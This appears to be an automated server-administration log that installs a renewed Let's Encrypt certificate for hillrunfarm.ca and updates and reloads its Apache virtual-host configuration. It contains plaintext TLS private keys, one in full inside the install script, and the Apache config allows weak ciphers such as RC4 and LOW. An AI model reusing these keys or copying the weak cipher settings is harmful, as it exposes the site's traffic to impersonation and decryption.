VcStSn8KDwKBgQCaY2Gum4iIQjJzTe5D3+AGXEnCCdXgTW//O/WXDqfIe8m6rRMo
Q1RlZC6nHRJEePHKt9NKIGCkF0K1QvgC1Tl7tOPt59UmxpQY2ij2DXaOug47yYYk
f6y6QEgrdo+ph1VUoyqgrYYqfXbHIitTwy+a/4bys561mpQi2+k3+1SQ8QKBgQDN
XMkYIomy0n4zOaG8iUHQlMNETFNT5e9FuDGVcMqg7tjExC/5gZ7vcwvi/qWcHWi9
xzYRnCcm11zZQt4+e0P/MwpBQKHTjIqrOMozG0Z4qSzGgWanI8ZxRGgmFlN8xPPR
8O7fDTtdevIeBqMZM/+2reav2D4cXwFTj6V1ZkgK0wKBgG50Ygj/XTFQXrI7jnQE
IeVxZnX7CNyVUCOzSWPy1LguKih+2T7UCEllvMUr+d4VcYlo32T5NV7lIAE7F+gE
kpb2DszEnb8p9/Z55wmCrT1zc2nRoVoUugYI7xuN0G3aTZJmiY5py37Gb1IT52WY
RD2mEK1Z/EyW19lLIpntZaOo
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-27 06:00:32: Establishing a connection
2025-09-27 06:00:32: Establishing a connection
2025-09-27 06:00:32: 

PUT: /tmp/pkp368721

#!/bin/bash
if [ -d "/var/www/hillrunfarm_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-27 06:00:32: 

chmod 755 /tmp/pkp368721; /tmp/pkp368721; rm /tmp/pkp368721

2025-09-27 06:00:32: 


1


2025-09-27 06:00:32: Establishing a connection
2025-09-27 06:00:33: 

PUT: /tmp/pkp548691

#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cat > 5DgsyEnysyp5Pi9PaSYxxhCLAq6FHgqkdUci_vxokes <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5DgsyEnysyp5Pi9PaSYxxhCLAq6FHgqkdUci_vxokes.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5DgsyEnysyp5Pi9PaSYxxhCLAq6FHgqkdUci_vxokes
cat > KMD8GN9c6ESuueRRbedg3HaF7b0H3AWvPamcw9yVWoo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KMD8GN9c6ESuueRRbedg3HaF7b0H3AWvPamcw9yVWoo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KMD8GN9c6ESuueRRbedg3HaF7b0H3AWvPamcw9yVWoo


2025-09-27 06:00:33: 

chmod 755 /tmp/pkp548691; /tmp/pkp548691; rm /tmp/pkp548691

2025-09-27 06:00:33: 




2025-09-27 06:00:43: Establishing a connection
2025-09-27 06:00:43: 

PUT: /tmp/pkp589356

#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
rm 5DgsyEnysyp5Pi9PaSYxxhCLAq6FHgqkdUci_vxokes
rm KMD8GN9c6ESuueRRbedg3HaF7b0H3AWvPamcw9yVWoo


2025-09-27 06:00:43: 

chmod 755 /tmp/pkp589356; /tmp/pkp589356; rm /tmp/pkp589356

2025-09-27 06:00:43: 




2025-09-27 06:00:43: Establishing a connection
2025-09-27 06:00:43: 

PUT: /tmp/pkp474160

#!/bin/bash
temp_file=$(mktemp)
TARGET=1580003f2048ce1d2a11cc5c78c90447.crt

cat > $temp_file <<'endmsg'
e7:4c:68:67:70:eb:e8:08:7d:c8:92:bd:f6:e0:1e:37

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBTE/Cnkz2ymK+89+y48AcqTNMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI3MDUwMjEyWhcNMjUxMjI2MDUwMjExWjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AK9S1u7S+CnmbSBrS3fqv4KvAyAugyONbUysYEb3K2q6GkFLJDwGJjXcrH5t1Gm6
I8W552Q5JHnwLCFc6/vNjah3R5Fw68EF+gynOpxLncPz3B0uEq4iGUrdwRk2QY3X
TFRZF41vyRIsOLs80b8jvg0LLCBi3+eGeff5UX18vgY13S5BeQ+aVx6ihkKQKPuu
M36yYbKWOCxiYvVlDb3FTwMH7/mvAmvAVGZkRZarexRnELGla96JuDLEyfaEzuS2
uNADcX29HHhG960uQ1c91qGLGVu60sbmRquxaQbDNrzcg4Yf0I7DpnSP9/hd3lM3
Un0d4kqInugoCumDg3w5e28CAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUKEO7v0iWDW16BAvW13AARlNJ1skwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5oaWxscnVuZmFybS5jYYISd3d3
LmhpbGxydW5mYXJtLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzguY3JsMIIBAwYKKwYBBAHW
eQIEAgSB9ASB8QDvAHUA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AA
AAGZicJmHQAABAMARjBEAiAHOFszSoxlEDpIWwRjv+5cGhChlTPD8yLZrQnL5UMS
dgIgY0TVoLghL15qpUMvJTJGTbLdOn6vgyFDPQ3FnQPdISIAdgAS8U40vVNyTIQG
GcOPP3oT+Oe1YoeInG0wBYTr5YYmOgAAAZmJwmYfAAAEAwBHMEUCIFzXizAF4gGJ
yufSdZMLMFCeWOESmG/WlKJ6f4/qNA4cAiEA+3VU2SIRj2RfOjskMjRFJoG0AEIL
VjAH9QlfS9ngw4gwDQYJKoZIhvcNAQELBQADggEBAEHkrgT4xBw2+haVcp+0IGiH
69kwgFmaGUpEqG9PTJ5TQ27J6K0/EyMlybx/M3Q8mvUWcgVf7Wh3JN1ueBM+Z2NJ
oBSw01oelRlci7Xw0D3aAFnNqr5Ykh2efpZXs3PsOLsmBkCtQZyTirBdj70siyh5
xXEv2f1ctNYeMvFHXVzqGuotBkRAOWnixTm3Larx5W1JWU26wZMVscyzZGVc7tbM
YF2ghu7HpTdEiHg26CuQg0ZDNkMggO3IOEKD6KMGdVKaL16c5XVJlntBZKZpTtsr
6BpZDgJ8Q0PzwnXBnGf9n38NtWiP+ojP60C/8g2uRWMLEe5LyCtxpUnhuVcTilg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvUtbu0vgp5m0g
a0t36r+CrwMgLoMjjW1MrGBG9ytquhpBSyQ8BiY13Kx+bdRpuiPFuedkOSR58Cwh
XOv7zY2od0eRcOvBBfoMpzqcS53D89wdLhKuIhlK3cEZNkGN10xUWReNb8kSLDi7
PNG/I74NCywgYt/nhnn3+VF9fL4GNd0uQXkPmlceooZCkCj7rjN+smGyljgsYmL1
ZQ29xU8DB+/5rwJrwFRmZEWWq3sUZxCxpWveibgyxMn2hM7ktrjQA3F9vRx4Rvet
LkNXPdahixlbutLG5karsWkGwza83IOGH9COw6Z0j/f4Xd5TN1J9HeJKiJ7oKArp
g4N8OXtvAgMBAAECggEBAI/ARXimRFHenCVTtBpLwOC+7LorSN0SrcaLI5msOc4V
b0eP+9K3XAcXu9sh5GMX+xK5He+AJtdQRG7KiLb6UCcMPgMTaknmw6IyT40tNtsf
DKBkUW6ziLdo4VXxtYg+OliCgBw4xs1+srla4cNt4/s/6NtZFqr4CPN4WgehCxF9
JwF3VsgCWdNqe81BQ2JgLPTkyHNFsVpmyWaBSlH9aioSqE0E7r/FB2IePY7YAe0B
NHTOjrWP8sHjmbT/n2uxRYkceg3/PSw9uGWs/x1qjuR+PTLG9lRWxZHy+PHu3Kbv
EyJty2x3r7N8Zieux/DKB1KhjTk/FaE8kxU7/jwRyhkCgYEA3Fk23yNbsECGe+CM
KNEW0NpA+1OktFUraCDTId28ld3OnRu/qw4VhER+Ekj1oqz/WvIgt9DkHpARqTUt
lTvfuzIcRytXW1zon2iT3K91u10hp/Dv/+gOdASZOIJVVTIvLiIccuRbt+SKDTPv
KuMCynCLPs8UVKd9N/k70j3XrvUCgYEAy7C0Lc8aG2dkFSHJEzD0G5l2gWDfSNTz
fgJOmbY3RJf5LrzFUW0rtdfiuWE56tiE3TpzoFMTdsgyR4vu8QAcRPoLuDlD7aKF
ugt+ZgPZj48lYSg6K5Oz72fPYn5NsRxSgpI5tzX3MWSRsEN2llwzaBVfa5S9oSdE
zvAJZjVfelMCgYBduz2SMdJA6VHLxDsa6caQ1SarQmtfopMyWjQ1xcMA5TeMsU8Z
Doasmw4d7RdAOeLt5u1wA9XmAlbg6ZQYVT3YvXo19APXA3CYzr2HNMQaDYXRkLYm
36m2RHaBCUAPW6eiMjRz0xwI35iyARON5L89Kh6xexkk4ZJsiwKdbl0fOQKBgBOR
bj3YX5GyZRMCo+aMFWdxXskfHVRJ4PqCDjsGHlkgoHe0+t/PtRtLGiTlCkNdeaYn
L2R/lqcapHnrH5FXiV+3Bdk05ym1K1OsNwBl7ki0X8rtqmj1T5v4RRwZNi2FoweY
NKM9M/oyxyw/zuyy/t1I8FnNeEo7E4kt1jlTd1CxAoGAeV7PH4rAGZ8jtfwtrW1H
GLgCEhW00B5Svv9DS+hD0l9doFLTClXFbQuAJAQ/hvRln1FtvGY/IfL4qw3jRu8o
vxheDWsCGD422LmoKbf3poFnp8Vo90bTvHnA4rI4ETX6ThLKeHTgnvtAoJdf1Ifv
xTkH38bQ5C5irVB3R8CnVFg=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-27 06:00:43: 

chmod 755 /tmp/pkp474160; /tmp/pkp474160; rm /tmp/pkp474160

2025-09-27 06:00:43: 


dir=/etc/ssl/certs


2025-09-27 06:00:43: 

PUT: /tmp/pkp170829

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-27 06:00:43: 

chmod 755 /tmp/pkp170829; /tmp/pkp170829; rm /tmp/pkp170829

2025-09-27 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf 42

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-27 06:00:43: 

PUT: /tmp/pkp378713

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hillrunfarm_www_ca.conf
TARGET=/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf= 1'
fi


2025-09-27 06:00:43: 

chmod 755 /tmp/pkp378713; /tmp/pkp378713; rm /tmp/pkp378713

2025-09-27 06:00:43: 




2025-09-27 06:00:43: 

PUT: /tmp/pkp346575

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-27 06:00:44: 

chmod 755 /tmp/pkp346575; /tmp/pkp346575; rm /tmp/pkp346575

2025-09-27 06:00:44: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-27 06:00:44: Establishing a connection
2025-09-27 06:00:44: 

PUT: /tmp/pkp673512

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-27 06:00:44: 

chmod 755 /tmp/pkp673512; /tmp/pkp673512; rm /tmp/pkp673512

2025-09-27 06:00:44: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-27 06:00:44: 

PUT: /tmp/pkp951325

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-27 06:00:44: 

chmod 755 /tmp/pkp951325; /tmp/pkp951325; rm /tmp/pkp951325

2025-09-27 06:00:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf	1391

